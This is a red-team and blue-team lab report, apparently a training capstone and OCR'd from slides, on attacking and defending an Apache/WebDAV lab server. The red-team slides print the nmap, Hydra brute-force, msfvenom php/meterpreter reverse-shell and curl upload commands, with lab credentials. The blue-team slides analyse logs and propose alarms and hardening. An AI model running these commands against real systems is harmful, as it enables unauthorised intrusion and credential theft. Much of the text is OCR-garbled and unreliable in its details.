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Network Topology
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Red Team

Security Assessment




Recon: Describing the Target

Nmap identified the following hosts on the network:

Hosthame IP Address Role on Network

Redteam Blueteam 192.168.1.1 Hypervisor — Host all the VMs

Kali 192.168.1.90 Attacking machine using Kali Linux
0S

Capstone 192.168.1.105 Target machine using Apache web
server

ELK server 192.168.1.100 Centralized logging server running
different services: packetbeat,
filebeat, metricbeat




Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Directory Listing Vulnerability
CWE-548: Exposure of Information
Through Directory Listing

Uploading of malicious script
CWE-434: Unrestricted Upload of
File with Dangerous Type

CWE-521: Weak Password
Requirements

The directory structure is visible
and accessible from a browser
without any passwords.

Webdav is enabled, allowing
attackers to upload malicious script
to the server.

Passwords are too simple with a
low level of complexity. The 2
discovered were a simple phrase
and a name.

Attackers can try many attacks
from this access, and some
documents with sensitive data are
carelessly left available from there

Amongst many possible attacks,
attackers can use this vulnerability
to launch a reverse shell and gain
access to the system.

Weak passwords are easy to
uncover through bruteforce and
dictionary attacks



Exploitation: Directory Listing Vulnerability

]
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Tools & Processes

Nmap

Using Nmap, the webserver
directory structure was
revealed.

Browser

Using a browser, simply
navigating the directory
structure from the IP address
revealed enough information
to eventually breach the
system.

02

Achievements

Access to different
documents that revealed three
usernames — which can be
used for a brute force attack.
It also yielded the location of a
hidden folder which contain
information of webdav server

03

Command: nmap —A —-sV

192.168.01.105

ShellNo.1

File Actions Edit View Help

rootaKali:~# nmap -sV -A 192.168.1.105
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-11 15:47 PDT
Nmap scan report for 192.168.1.105
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh
| ssh-hostkey:
‘ 2048 73:42:b5:8b:1e:80:1F:15:64:b9:a2:ef:d9:22:1a:b3 (RSA)
\ 256 ¢9: :50:18:36 " 2:12:80 (ECDSA)
| 256 b3:76:42:f5:21:42 e6:ac:70:e6:d2:10 (ED25519)
80/tcp open http  Apache httpd 2.4.29
| http-1s: Volume /
| maxfiles limit reached (10)
‘ SIZE TIME FILENAME
- 2019-05-07 18:23 company_blog/
| 422 2019-05-07 18:23 company_blog/blog. txt
| - 2019-05-07 18:27 company_folders/
- 2019-05-07 18:25 company_folders/company_culture/
- 2019-05-07 18:26 company_folders/customer_info/
| - 2019-05-07 18:27 company_folders/sales_docs/
| - 2019-05-07 18:22 company_share/
| - 2019-05-07 18:34 meet_our_team/
\ 329 2019-05-07 18:31 meet_our_team/ashton.txt
\ 404 2019-05-07 18:33 meet_our_team/hannah. txt

\:http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Index of /
MAC Address: 00:15:5D:00:04:0F (Microsoft)

No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/sub

mit/ ).

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)



Exploring the webserver

B omo=| El ® Mozilla Firefox ™ ShellNo.1

Mozilla Firefox

# Mozilla Firefox 1 ShellNo.1

0419PM O ) A O | & C

Mozilla Firefox
192.168.1.105/compa el + 192.168.1.105/meet_

o Lo/ n o e & ¢ @ D 192.168.1.105 O 7 I @
Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums NetHunter | Offensive Security Exploit-DB GHDB || MSFU Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter | Offensive Security Exploit-DB GHDB || MSFU
ERROR: FILE MISSING

& c @ 192.168.1.105

Ashton is 22 years young, with a masters degreee in aquatic jousting. "Moving over to managing everyone's credit card and security information has been

terrifying. I can't believe that they have me managing the company folders/secret folder! I really shouldn't be here" We look forward to working more with Ashton
in the future!

Please refer to conpany_folders/secret folder/ for more information

ERROR: company_folders/secret folder is no longer accessible to the public

# Index of /company_folde... ] Shell No. 1 0432PMO O A O [& (LMW # Index of /company_folde... —1 ShellNo.1

[ 0423PM O 4 A O |
Index of /company_folders/secret_folder - Mozilla Firefox — 4

Index of /company_folders/s X =+

< c @ ! Iders/secret_folder/ v . e m @ S X @ 192.168.1.105

KaliLinux - KaliTraining  KaliTools ¢ KaliDocs ~ KaliForums  NetHunter || Offensive Security % Exploit-DB  GHDB || MSFU Kali Linux

= Index of /company_fol ar

N @ ®
Kali Training Kali Tools « Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU

Index of /company_folders/secret_folder Index of /company_folders

Name Last modified Size Description Name Last modified Size Description
& Parent Director = & Parent Directory -

rarent Directory
. 05 ; i
@ connect to_corp server 2019-05-07 18:28 414 23 company culture/ 2019-05-07 18:25
3 customer info/
Authentication Required

Apache/2.4.29 (Ubuntu) Server at 192.168.1.105 Port 80 @ sales docs/ thentication Req

http://192.168.1.105 is requesting your username and pa: es For ashton
Apache/2.4.29 (Ubunt ) P q gy p

only”
Name:

Password:



Exploitation: Uploading of malicious script

02

ools & Processes v
Mo webday - File Manager M45PMO H A O ‘ &
Msfvenom - created the

mallcious Script _ kI” php Achievements | File Acions Edit View Help
' Using a reverse shell, opened ‘

M vae nom — p Payload options (php/meterpreter/reverse _tcp):

php/meterpreter/reverse_tep a meterpreter session in the
Ihost=192.168.1.90 target system, and explore

Iport=4444 —f raw —o kill.php and download file from the

curl - uploaded the payload target machine. Explit target:

LHOS .168.1. sten address (an interface may be specified)
LPORT 444k yes The listen port

Id Name

to the webdav directory. i

0 Wildcard Target

Curl —user ‘ryan:linux4u’ -T

'/kl I I . ph p' msf5 exploit( ) > exploit
Started reverse TCP handler on 192.168.1.90:4444
“192.168.1.1 05/webdav/' Sending stage (38268 bytes) to 192.168.1.105
. Meterpreter session 3 opened (192.168.1.90:4444 - 192.168.1,105:42238) at 2021-08-11 16
Metasploit — started a 5027 00
listener, which then launched tepreer > ol
Unknown command: whoami.

a meterpreter session once Reterpreter > cleat

Unknown command: clear.
meterpreter > pud

the k|”php was run on the /var/wa/webdav
neterpreter > |
webserver.




Exploitation: Weak Password

01

Tools & Processes
Hydra

Hydra was used to bruteforce
ashton’s username against the
webserver's password
protected area.

hydra -l ashton -P
/usr/share/wordlists/rockyou.t
xt-s 80-f-vV 192.168.1.105
http-get
/company_folders/secret_folde
r/

02

Achievements

This attack provided ashton’s
password, which was a simple
name — leopoldo.

Access to the hidden directory
in the webserver. This revealed
a document that contained
instructions to connect to
webdav with the CEQ'’s
username and password hash.

File Actions Edit View Help

1d 11] (e/0)
[ATTEMPT] target 192.168.1.105 - login
1 (0/0)

[ATTEMPT] target 192.168.1.105 - login
1 (e/0)

[ATTEMPT] target 192.168.1.105 - login

0] (0/0)

[ATTEMPT] target 192.168.1.105 - login

2] (0/0)

[ATTEMPT] target 192.168.1.105 - login
1 (0/0)

[ATTEMPT] target 192.168.1.105 - login

1d 4] (e/0)

[ATTEMPT] target 192.168.1.105 - login

0] (o/0)

[ATTEMPT] target 192.168.1.105 - login
7] (0/0)

[ATTEMPT] target 192.168.1.105 - login

2] (0/0)

[ATTEMPT] target 192.168.1.105 - login
(0/0)

[ATTEMPT] target 192.168.1.105 - login
14] (0/0)

[ATTEMPT] target 192.168.1.105 - login
15] (0/0)

[80][http-get] host: 192.168.1.105

login: ashton

"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass
"ashton" - pass

"ashton" - pass

"lakota" - 10132 of 14344399 [child 5
"laddie" - 10133 of 14344399 [child 1
"krizia" - 10134 of 14344399 [child 1
"kolokoy" - 10135 of 14344399 [child
"kodiak" - 10136 of 14344399 [child 9
"kittykitty" - 10137 of 14344399 [chi
"kiki123" - 10138 of 14344399 [child
"khadijah" - 10139 of 14344399 [child
"kantot" - 10140 of 14344399 [child 1
"joey" - 10141 of 14344399 [child 13]
"jeferson" - 10142 of 14344399 [child

"jackass2" - 10143 of 14344399 [child

password: leopoldo

[STATUS] attack finished for 192.168.1.105 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-11 16:31:30
rootdKali:~# hydra -1 ashton -P /usr/share/wordlists/rockyou.txt -s 80 -f -vV 192.168.1.105
http-get /company_folders/secret_folder/}




Blue Team

Log Analysis and
Attack Characterization




Analysis: Identifying the Port Scan

e What time did the port scan occur? Aug 11,2021 from 18.44 pm to 18.55 pm
T How many packets were sent, and from which IP? 21,281 packet was sent from 192.

168.1.90 t0 192.168.1.105

e What indicates that this was a port scan? We exclude the traffic come from port 80 which is for HTTP method

and port 53206 for TCP/UDP method. The rest indicated a port scanning.

New Save Open Share Inspect
B v  source.ip : 192.168.1.90 and destination.ip : 192.168.1.105 AND NOT destination.port:80 AND NOT destination.port:53206
®  + Add filter
packetbeat-* v 21,281 hits

Aug 11, 2021 @ 18:44:00.296 - Aug 11, 2021 @ 18:55:28.261— Auto ~
Q search field names

~ Aug 11,2021 @18:44:00.29 > Aug 11, 2021 @ 18:55:28.26

@ Filter by type 0
Selected fields £
3
o
< _source
500
Available fields II I
0 -

Popular -
t agenthostname @timestamp per 10 seconds
B @timestamp Time _source
t _id > Aug 11, 2021 @ 18:47:59.925 gtimestamp: Aug 11, 2021 @ 18:47:59.925 destination.ip: 192.168.1.105 destination.bytes: 1208 client.ip: 192.168.1.98 client.bytes: 128B icmp.request.message: EchoRequest(9) icmp.request.type: 8 icmp.request.code: 9
« Ll icmp.response.code: 9 icmp.response.message: EchoReply(9) icmp.response.type: 8 icmp.version: 4 ecs.version: 1.5.8 host.name: Kali agent.id: 26444e58-c83e-4dS6-854f-bd9Pace159df agent.name: Kali agent.type: packetbeat

agent.version: 7.8.0 agent.hostname: Kali agent.ephemeral id: e2f46501-c32b-44ff-b91f-930a85eb0878 server.bytes: 1208 server.ip: 192.168.1.105 event.duration: ©.4 event.start: Aug 11, 2021 @ 18:47:59.925 event.end: Aug
# _score 11, 2821 @ 18:47:59.926 event.kind: event event.category: network_traffic event.dataset: icmp type: icmp path: 192.168.1.185 status: OK network.type: ipv4 network.transport: icmp network.direction: outbound
& “iype network.community_id: 1:80SsNFpo3Mzjqss1QqWy+CTzSnA= network.bytes: 2408 source.bytes: 1208 source.ip: 192.168.1.90 _id: anlmN3sBfve7cokQsEuO _type: _doc _index: packetbeat-7.8.0-2021.08.67-600002 _score: -
t agent.ephemeral_id > Aug 11, 2021 @ 18:47:59.958 gtimestamp: Aug 11, 2021 @ 18:47:59.95@ agent.hostname: Kali agent.ephemeral_id: e2f46581-c32b-44ff-b91f- agent.id: -bd9@ace159df agent.name: Kali agent.type: packetbeat
¢ a agent.version: 7.8.8 source.ip: 192.168.1.98 source.bytes: 1588 server.ip: 192.168.1.185 server.bytes: 150B path: 192.168.1.185 status: OK event.category: network_traffic event.dataset: icmp event.duration: 8.5

agent.i

event.start: Aug 11, 20821 @ 18:47:59.950 event.end: Aug 11, 2021 @ 18:47:59.951 event.kind: event type: icmp ecs.version: 1.5.8 icmp.request.code: @ icmp.request.message: EchoRequest(8) icmp.request.type: 8
t agentname icmp.response.message: EchoReply(@) icmp.response.type: 8 icmp.response.code: @ icmp.version: 4 destination.ip: 192.168.1.105 destination.bytes: 1568 client.bytes: 1508 client.ip: 192.168.1.98
¥/ Bgetiype network.community_id: 1:80SsNFpo3MzjqssiQqWy+CTzSnA= network.bytes: 3008 network.type: ipv4 network.transport: icmp network.direction: outbound host.name: Kali _id: a3lmN3sBfve7cokQsEu0 _type: _doc _index: packetbeat-
t > Aug 11, 2021 @ 18:47:59.988 etimestamp: Aug 11, 2021 @ 18:47:59.98@ network.type: ipv4 network.transport: icmp network.direction: inbound network.community_id: 1:80SsNFpo3MzjqssiQqWy+CTzSnA= network.bytes: 2408 status: OK icmp.version: 4
‘ icmp.request.message: EchoRequest(9) icmp.request.type: 8 icmp.request.code: 9 icmp.response.message: EchoReply(9) icmp.response.type: @ icmp.response.code: 9 host.name: serverl agent.hostname: serveril

agent.id: de2238f6-73be-44db-906f-12498aa5ab17 agent.version: 7.7.@ agent.type: packetbeat agent.ephemeral id: 772244a9-616c-4b85-2856-86b1b6393591 ecs.version: 1.5.8 source.bytes: 1208 source.ip: 192.168.1.98
8 client. destination.bytes: 1208 destination.ip: 192.168.1.105 client.ip: 192.168.1.98 client.bytes: 1208 event.start: Aug 11, 2021 @ 18:47:59.980 event.end: Aug 11, 2021 @ 18:47:59.980 event.kind: event
# destination.bytes event.category: network_traffic event.dataset: icmp event.duration: 0.0 type: icmp path: 192.168.1.105 server.ip: 192.168.1.105 server.bytes: 1208 _id: z3lmN3sBfve7cokarkig -type: _doc _index: packetbeat-7.7.0-
B3 destination.ip > Aug 11, 2021 & 18:48:00.004 gtimestamp: Aug 11, 2021 @ 18:48:00.084 type: flow destination.packets: 1 destination.bytes: 568 destination.ip: 192.168.1.185 destination.port: 21 event.end: Aug 11, 2021 @ 18:47:53.893 event.duration: @.1

event.dataset: flow event.kind: event event.category: network_traffic event.action: network_flow event.start: Aug 11, 2021 @ 18:47:53.893 host.name: Kali agent.type: packetbeat agent.version: 7.8.@ agent.hostname: Kali
# destination.packets

agent.ephemeral_id: e2f46581-c32b-44ff-b91f-930a85eb08f8 agent.id: 26444e58-c83e-4d56-854f-bd98ace159df agent.name: Kali flow.id: EAT/////AP//////CP8AAAHAQAFawKgBaUSeFQA flow.final: false
# ation.port network.community_id: 1:M9BH6H+X1XfTCWIHDRWIIgCj6c= network.bytes: 116B network.packets: 2 network.type: ipv4 network.transport: tcp source.bytes: 6B source.ip: 192.168.1.90 source.port: 48516 source.packets: 1

ecs.version: 1.5.8 _id: 7nlmN3sBfv@7cokQrEAV _type: _doc _index: packetbeat-7.8.8-2021.08.07-0800882 _score: -

ecs.version



Analysis: Finding the Request for the Hidden Directory

e 16,185 requests were made to the hidden directory between 19.30 and 19.33 on Aug 11, 2021.

B v urlpath:"/company_folders/secret_folder/" KoL v Aug™,2021@19:30:0000 + Aug ™1, 2021 @ 19:35:0000 9| Update

@ source.ip: 1921681.90 X || destination.ip: 192168105 X | + Add filter

16,185 hits
Aug 11, 2021 @ 19:30:00.000 - Aug 11, 2021 @19:35:00.000—  Auto v

packetbeat-* v

Q Search field names

@ Filter by type 0 1200
1000
Selected fields § 800
9 &0
d» _source 0 w0 I I
Available fields -
1 183130

Popular 183000 183030 93100 183200 193230 183300 193330 193400 193430

t agenthostname @timestamp per 5 seconds

# http.response.status_code Time v _source



Analysis: Uncovering the Brute Force Attack

e How many requests were made in the attack? 16,181 requests were made in the attack
__4 e How many requests had been made before the attacker
discovered the password? 16,180 attempt were made before the password is cracked

New Save Open Share Inspect

B v user_agent.original:"Mozilla/4.0 (Hydra)" KQL B v Aug i, 2021 @ 19:30:00.00 - Aug 11,2021 @ 19:35:00.00

& | source.ip:192.1681.90 X | destination.ip: 1921681105 x | + Add filter

packetbeat-* 16,181 hits
Aug 11, 2021 @ 19:30:00.000 - Aug 11, 2021 @ 19:35:00.000 —  Auto v

Q search field names

@ Filter by type o
Selected fields
5 5 200
Available fields B =

Count

Popular 193030 o 1 18:34:00

t agenthostname @timestamp per 5 seconds

# http.response.status_code Time « _source

t urlfull > Aug 11, 2021 @ user_agent.original: Mozilla/4.8 (Hydra) etimestamp: Aug 11, 2621 @ 19:31:38.691 destination.port: 8@ destination.bytes: 6988 destination.ip: 192.168.1.105 ecs.version: 1.5.8 event.kind: event

S — event.category: network_traffic event.dataset: http event.duration: ©.6 event.start: Aug 11, 2021 @ 19:31:30.691 event.end: Aug 11, 2021 @ 19:31:30.692 url.scheme: http url.domain: 192.168.1.105

url.path: /company_folders/secret_folder/ url.full: http://192.168.1.185/company_folders/secret_folder/ host.name: serverl network.transport: tcp network.protocol: http network.direction: inbound

t d network.community_id: 1:tAkZvEgdZIH6fcYzZQND/61dZEU= network.bytes: 8628 network.type: ipv4 method: get status: Error query: GET /company_folders/secret_folder/ server.bytes: 6988 server.ip: 192.168.1.165
§ nasx server.port: 80 source.ip: 192.168.1.99 source.port: 57184 source.bytes: 1648 type: http agent.hostname: serverl agent.id: de2238f6-73be-44db-9067-12490aa5abl7 agent.version: 7.7.@ agent.type: packetbeat
# _score > Aug 11, 2621 @ 19:31:30.681 yser_agent.original: Mozilla/4.0 (Hydra) @timestamp: Aug 11, 2621 © 19:31:30.681 destination.ip: 192.168.1.105 destination.port: 80 destination.bytes: 698B event.start: Aug 11, 2021 € 19:31:30.681 event.end: Aug 11, 2021
g ©19:31:30.682 event.kind: event event.category: network_traffic event.dataset: http event.duration: 8.5 http.version: 1.1 http.request.headers.content-length: © http.request.method: get http.request.bytes: 1668
http.response.status_code: 4@1 http.response.bytes: 698B http.response.body.bytes: 4608 http.response.headers.content-length: 468 http.response.headers.content-type: text/html; charset=1s0-8859-1
t agent.ephemeral_id http.response.status_phrase: unauthorized ecs.version: 1.5.0 host.name: serverl client.bytes: 1608 client.ip: 192.168.1.90 client.port: 57176 method: get source.ip: 192.168.1.98 Source.port: 57176 source.bytes: 168
& s type: http query: GET /company_folders/secret_folder/ status: Error agent.hostname: serverl agent.id: de2238f6-73be-44db-986f-12498aa5ab17 agent.version: 7.7.8 agent.type: packetbeat agent.ephemeral id: 772244a9-616c-
t agentname > Aug 11, 2021 € 19:31:38.681 user_agent.original: Mozilla/4.@ (Hydra) @timestamp: Aug 11, 2621 & 19:31:30.681 client.ip: 192.168.1.90 client.port: 57174 client.bytes: 1648 host.name: server1 network.type: ipv4 network.transport: tcp
¢ e network.protocol: http network.direction: inbound network.community id: 1:kYpEyptDeh+iQLXFltcGdbIGVFs= network.bytes: 8628 query: GET /company_folders/secret_folder/ url.path: /company_folders/secret_folder/
url.full: http://192.168.1.185/company_folders/secret_folder/ url.scheme: http url.domain: 192.168.1.165 status: Error source.bytes: 164B source.ip: 192.168.1.99 source.port: 57174 ecs.version: 1.5.8 method: get
t agentversion server.ip: 192.168.1.185 server.port: 8¢ server.bytes: 6988 http.version: 1.1 http.request.bytes: 1648 http.request.headers.content-length: @ http.request.method: get http.response.body.bytes: 4608
i lhanbyten http.response.headers.content-length: 460 http.response.headers.content-type: text/html; charset=1so-8859-1 http.response.status_phrase: unauthorized http.response.status_code: 4@1 http.response.bytes: 6988

> Aug 11, 2021 @

€3 clientip user_agent.original: Mozilla/4.6 (Hydra) @timestamp: Aug 11, 2021 @ 19:31:36.681 event.kind: event event.category: network_traffic event.dataset: http event.duration: 1.4 event.start: Aug 11, 2021 @ 19:31:36.681

event.end: Aug 11, 2621 @ 19:31:30.682 status: Error destination.bytes: 6988 destination.ip: 192.168.1.185 destination.port: 88 query: GET /company_folders/secret_folder/ url.domain: 192.168.1.105

-

client.port
url.path: /company_folders/secret_folder/ url.full: http://192.168.1.185/company_folders/secret_folder/ url.scheme: http method: get type: http http.request.headers.content-length: @ http.request.method: get

.

destination.bytes http.request.bytes: 1648 http.response.status_code: 481 http.response.bytes: 6988 http.response.body.bytes: 4668 http.response.headers.content-length: 460 http.response.headers.content-type: text/html; charset=iso-8859-1

http.response.status_phrase: unauthorized http.version: 1.1 agent.typ

packetbeat agent.ephemeral_id: 772244a9-616c-4b85-a850-86b1b8393591 agent. hostnam

: serverl agent.id: de2238f6-73be-44db-986f-12490aa5ab17
@ destination.ip

# destination.packets > Aug 11, 2021 @ 19:31:30.681  yser_agent.original: Mozilla/4.@ (Hydra) @timestamp: Aug 11, 2821 @ 19:31:30.681 type: http query: GET /company_folders/secret_folder/ source.port: 57188 source.bytes: 1648 source.ip: 192.168.1.90 agent.version: 7.7.0
et i agent.type: packetbeat agent.ephemeral_id: 772244a9-616c-4b85-a850-86b1b6393501 agent.hostname: serverl agent.id: de2238f6-73be-44db-986-12496aasab17 http.version: 1.1 http.request.bytes: 1648

http.request.headers.content-length: 8 http.request.method: get http.response.status_code: 481 http.response.bytes: 6988 http.response.body.bytes: 4688 http.response.headers.content-type: text/html; charset=iso-8859-1
t ecs.version http.response.headers.content-length: 468 http.response.status_phrase: unauthorized status: Error destination.port: 80 destination.bytes: 698B destination.ip: 192.168.1.185 server.port: 88 server.bytes: 698B

server.ip: 192.168.1.185 client.ip: 192.168.1.96 client.port: 57188 client.bytes: 1648 network.community_id: 1:PjsalJ14DQBSKtSeQdF3/YeCzwI= network.bytes: 8628 network.type: ipv4 network.transport: tcp

event.action



Analysis: Finding the WebDAV Connection

e How many requests were made to this directory? 56 Requests were made to this directory

e Which files were requested? The file was requested is kill.php

New Save Open Share Inspect

[ v url.path: "/webdav/kill.php"

®

source.ip: 192.168.1.90 X || destinatior

:1921681105 x | + Add filter

packetbeat-* 56 hits

Q Search field names

@ Filter by type o
Selected fields E
3
3
b _source ”
Available fields I
Popular 9:37:00 ) 19:41:00 19:42:00 43: 19:44:00 19:4
t age hostname @timestamp per 30 seconds
# http.response.status_code Time + _source
t urlfull > Aug 11, 2021 @ 19:48:58.252  yrl.path: /webdav/kill.php @timestamp: Aug 11, 2821 @ 19:48:58.252 method: get http.request.method: get http.request.bytes: 2888 http.request.headers.content-length: @ http.response.status_phrase:
ey http.response.status_code: 500 http.response.bytes: 1878 http.response.body.bytes: 28 http.response.headers.content-type: text/html; charset=UTF-8 http.response.headers.content-length: 2 http.version: 1.
event.category: network_traffic event.dataset: http event.duration: 387.2 event.start: Aug 11, 2021 @ 19:48158.252 event.end: Aug 11, 2621 @ 19:48158.568 event.kind: event user_agent.original: gvfs/1.42.2
t _id server.ip: 192.168.1.105 server.port: 88 server.bytes: 187B client.ip: 192.168.1.98 client.port: 57356 client.bytes: 208B destination.i
& dndax network.transport: tcp network.protocol: http network.direction: inbound network.community_id: 1:0e8131tErbNdjeOPTUUJI4AcBSA=
# _score > Aug 11, 2021 @ 19:48:58.251  yr].path: /webdav/kill.php @timestamp: Aug 11, 2021 @ 19:48:58.251 query: PROPFIND /webdav/kill.php network.type: ipv4 network.transport: tcp
t _type
length: 146 http.request.headers.content-type: application/xml http.request.method: propfind http.request.byte:
& agentephemeral _id http.response.status_phrase: multi-status http.response.status_code: 287 http.response.bytes: 5918 http.response.body.bytes: 376B http.version: 1.1
€ Hoant client.port: 57356 host.name: serverl user_agent.original: gvfs/1.42.2 source.ip: 192.168.1.98 source.port: 57356 source.bytes: 4218 destination.ip:
t agentname 2 Aug 11, 2021 @ url.path: /webdav/kill.php @timestamp: Aug 11, 2621 @ 19:48:58.248 destination.bytes: 9148 destination.ip: 192.168.1.185 destination.port: 8@ network.type: ipvd4 network.transport: tcp network.protocol:
: i network.direction: inbound network.community_id: 1:0e@131tErbNdjeOPTULJI4ACBSA= network.bytes: 1.4KB status: OK source.ip:
agent.type
client.bytes: 5368 type: http event.dataset: http event.duration: 0.5 event.start: Aug 11, 2021 @ 19:48:58.248 event.end:
t agentversion url.full: http://192.168.1.185/webdav/kill.php url.scheme: http url.domain: 192.168.1.185 sServer.ip: 192.168.1.185 Server.port: 8@ server.bytes: 9148 agent.hostname: serverl
& clientbytes agent.version: 7.7.8 agent.type: packetbeat agent.ephemeral id: 772244a9-616c-4b85-ag850-80b1b0393591 user_agent.original: gvfs/1.42.2 query
8 client.ip > Aug 11, 2021 € url.path: /webdav/kill.php @timestamp: Aug 11, 2821 @ 19:48:58.247 method: propfind http.request.headers.content-length: 235 http.request.headers.content-type: application/xml http.request.method:
— http.request.bytes: 5368 http.request.body.bytes: 2358 http.response.status_phrase: multi-status http.response.status_cod
length: 699 http.response.headers.content-type: text/xml; charset="utf-8" http.version: 1.1 client.bytes: 5368 client.ip:
# destination.byte:
— /webdav/kill.php source.port: 57356 source.bytes: 5368 source.ip: 192.168.1.98 event.kind: event event.category: network_traffic event.dataset:
# destination.packets > Aug 11, 2021 @ 19:48:58.244  yr].path: /webdav/kill.php @timestamp: Aug 11, 2021 @ 19:48:58.244 network.direction: inbound network.community_id: 1:0e8131tErbNdjeOPTUUJI4ACBSA=
network.protocol: http status: OK method: propfind destination.ip: 192.168.1.105 destination.port: 80 destination.bytes: 914B query:
# destination.port
server.ip: 192.168.1.185 server.port: 88 client.bytes: 5368 client.ip: 192.168.1.99 client.port: 57356 http.version: 1.1
t ecswersion

event.action

Aug 11, 2021 @ 19:36:57.015 - Aug 11, 2021 @ 19:50:15.950 —  Auto

KQL

B

network..bytes

192.168.1.105 destination.port: 80 destination.byte:

Aug 11, 2021 @ 19:36:57.01 - Aug 11, 2021 @ 19:50:15.95

u Refresh

internal server error

1878 network.type: ipva

3958 status: Error query: GET /webdav/kill.php host.name: serverl

network.protocol: http network.direction: inbound

network.community_id: 1:0e0131tErbNdjeOPTUUJT4ACBSA= network.bytes: 1,0128 server.port: 86 server.bytes: 5918 server.ip: 192.168.1.165 ecs.version: 1.5.0 http.request.body.bytes: 1468 http.request.headers.content-

2021 @

PROPFIND /webdav/kill.php host.name: serverl type: http server.bytes:

: 4218 http.response.headers.content-lengt

PROPFIND /webdav/kill.php http.version: 1.1

192.168.1.90 client.port:

http.request.bytes: 5368 http.request.body.bytes:

status: OK client.bytes:

192.168.1.105 destination.port: 80 destination.bytes:

376 http.response.headers.content-type: text/xml;

4218 client.ip: 192.168.1.90

propfind

charset="utf-g"

5918

http

192.168.1.99 source.port: 57356 source.bytes: 5368 client.ip: 192.168.1.98 client.port: 57356
19:48:58.249 event.kind: event event.category: network_traffic host.name: server1
agent.id: de2238f6-73be-44db-986f-12490aa5ab17
http.request.body.bytes: 2358

http.response.bytes: 9148 http.response.body.bytes: 6998 http.response.headers.content-
57356 agent.type: packetbeat agent.ephemeral_id: 772244a9-616c-4b85-
2856-80b1b0393591 agent.hostname: serverl agent.id: de2238f6-73be-44db-966f-12499aa5ab17 agent.version: 7.7.8 url.full: http://192.168.1.105/webdav/kill.php url.scheme: http url.domain: 192.168.1.185 query: PROPFIND
http event.duration: 8.6 event.start: Aug 11, 2021 @ 19:48:58.247

network.bytes: 1.4KB network.type: ipv4 network.transport: tcp

9148

2358 http.request.headers.content-length: 235

http.request.headers.content-type: application/xml http.request.method: propfind http.response.status_code: 267 http.response.bytes: 9148 http.response.body.bytes: 6998 http.response.headers.content-type: text/xml;

charset="utf-8" http.response.headers.content-length: 699 http,response.status_phrase: multi-status event.star

: Aug 11, 2021

:48:58.244 event.end: Aug 11, 2621 @ 19:48:58.245 event.kin

: event



Blue Team
Proposed Alarms and
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Mitigation: Blocking the Port Scan

What configurations can be set on the host
to mitigate port scans?

Whitelist known IPs and block
unauthorised IPs from scanning

What kind of alarm can be set to detect
future port scans?

Although useful, having alert for each port
scan is unrealistic.

What threshold would you set to activate
this alarm?

Setup a low-level alert for any port
scanning, with a threshold of 10, and a
severe alert for anything above 100.

Have alerts for any use of Nmap.

Setup a critical alert for aggressive scans.

Describe the solution. If possible, provide
required command lines.

Make schedule to check on all ports
regurlary. Updating all services running.



Mitigation: Finding the Request for the Hidden Directory

What kind of alarm can be set to detect What configuration can be set on the host

future unauthorized access? to block unwanted access?

Create an Ips filtered for only whitelist IPs

to access this folder Highly confidential folders should not be
shared for public access

What threshold would you set to activate *Rename folders containing

this alarm? sensitive/private/company critical data

Create a two levels alert *Encrypt data contained within confidential

Low-level for 3 attempts folders

Critical level for more than 10 attempts - ‘Review IP addresses that cause an alert

potential brute force attack to be sent: either whitelist or block the IP

addresses.



Mitigation: Preventing Brute Force Attacks

Alarm

What kind of alarm can be set to detect
future brute force attacks?

An alert can be created if 401
Unauthorized is returned from the
server over a threshold.

What threshold would you set to activate
this alarm?

Start with 3 over a 30 minute period
to allow forgotten or mistyped
passwords and refine.

System Hardening

What configuration can be set on the host
to block brute force attacks?

Setup account timeout and lockout rules
for failed password attempts to block
brute forcing

Describe the solution. If possible, provide
the required command line(s).

Increase password strength requirements
and expiry every 3 months. Consider
multi-factor authentication.

Limit logins to a whitelist of IP

addresses



Mitigation: Detecting the WebDAV Connection

Alarm

What kind of alarm can be set to detect

future access to this directory?

« Set an alert for any blacklisted
attempting to access this directory

« All IPs outside the server range should
be blacklisted

What threshold would you set to activate

this alarm?

The threshold should be 1, no

unauthorised IPs can access to this server

System Hardening

What configuration can be set on the host
to control access?

Limit user access to WebDAV.

Harden authentication to WebDAV -
password requirements, MFA, whitelisting
IPs

Scanning all incoming traffic with
anti-virus/anti-malware.

Update regularly.



Mitigation: Identifying Reverse Shell Uploads

What kind of alarm can be set to detect What configuration can be set on the host
future file uploads? to block file uploads?

Monitor all incoming uploads and setup an

alert for anything triggered by Setup a secure anti-virus/anti-malware
anti-virus/anti-malware. application that screens all incoming files
Create an alert for files that contain and automatically updates daily.

suspicious code/scripts/file extensions
Update firewall rules.

Limit filetypes that can be uploaded,
including restricting php






